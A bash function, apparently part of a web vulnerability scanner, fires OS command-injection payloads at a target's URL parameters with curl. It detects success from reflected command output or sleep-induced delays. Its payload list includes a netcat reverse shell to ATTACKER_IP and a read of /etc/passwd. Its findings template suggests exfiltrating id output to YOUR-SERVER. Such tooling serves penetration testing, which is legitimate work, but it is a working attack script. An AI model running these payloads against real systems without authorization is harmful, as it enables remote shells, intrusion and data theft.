#!/usr/bin/env bash
# Vector 04: Command Injection
# Desc: OS command injection via input fields, parameters
# Detect: Ping, traceroute, nslookup, whois, host, exec parameters
# Severity: CRITICAL
# Tools: curl

vector_cmdi() {
  local target="$1"
  local report="$2"
  local findings=0
  
  print_info "Testing Command Injection vectors..."
  
  local cmd_params=("ping" "host" "lookup" "traceroute" "nslookup" "whois" "exec" "command" "cmd" "run" "trace" "target" "ip" "server")
  local cmd_payloads=(
    ";id"
    "|id"
    "`id`"
    "$(id)"
    ";whoami"
    "|whoami"
    ";uname -a"
    "|cat /etc/passwd"
    "& ping -c 1 127.0.0.1 &"
    "| nc -e /bin/sh ATTACKER_IP 4444"
    ";sleep 3"
    "|sleep 3"
  )
  
  for param in "${cmd_params[@]}"; do
    for payload in "${cmd_payloads[@]}"; do
      local test_url=""
      if [[ "$target" == *\?* ]]; then
        test_url="${target}&${param}=${payload}"
      else
        test_url="${target}?${param}=${payload}"
      fi
      
      local start_time=$(date +%s%N)
      local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
      local end_time=$(date +%s%N)
      local elapsed=$(( (end_time - start_time) / 1000000 ))
      
      # Check for command output in response
      if echo "$response" | grep -qiE "uid=[0-9]+|gid=[0-9]+|groups=[0-9]+|root|bin|daemon|Linux"; then
        print_find "Command Injection!" "Command output detected via parameter $param with payload: $payload"
        echo "SEVERITY: CRITICAL
VECTOR: Command Injection
DETAIL: OS command injection via parameter '$param' on $target
EVIDENCE: System command output reflected in response
EXPLOIT: ;curl http://YOUR-SERVER/$(id | base64)" > "$REPORTS_DIR/.finding_$(date +%s)_cmdi.txt"
        findings=$((findings + 1))
        break 2
      fi
      
      # Time-based detection
      if echo "$payload" | grep -q "sleep"; then
        if [ "$elapsed" -ge 2000 ]; then
          print_find "Time-based Command Injection!" "Response delayed ${elapsed}ms with sleep payload"
          echo "SEVERITY: CRITICAL
VECTOR: Command Injection (Time-based)
DETAIL: Time-based command injection via parameter '$param' on $target
EVIDENCE: ${elapsed}ms delay with sleep payload
EXPLOIT: verify with: ;ping -c 5 YOUR-SERVER" > "$REPORTS_DIR/.finding_$(date +%s)_cmdi-time.txt"
          findings=$((findings + 1))
          break 2
        fi
      fi
    done
  done
  
  return $findings
}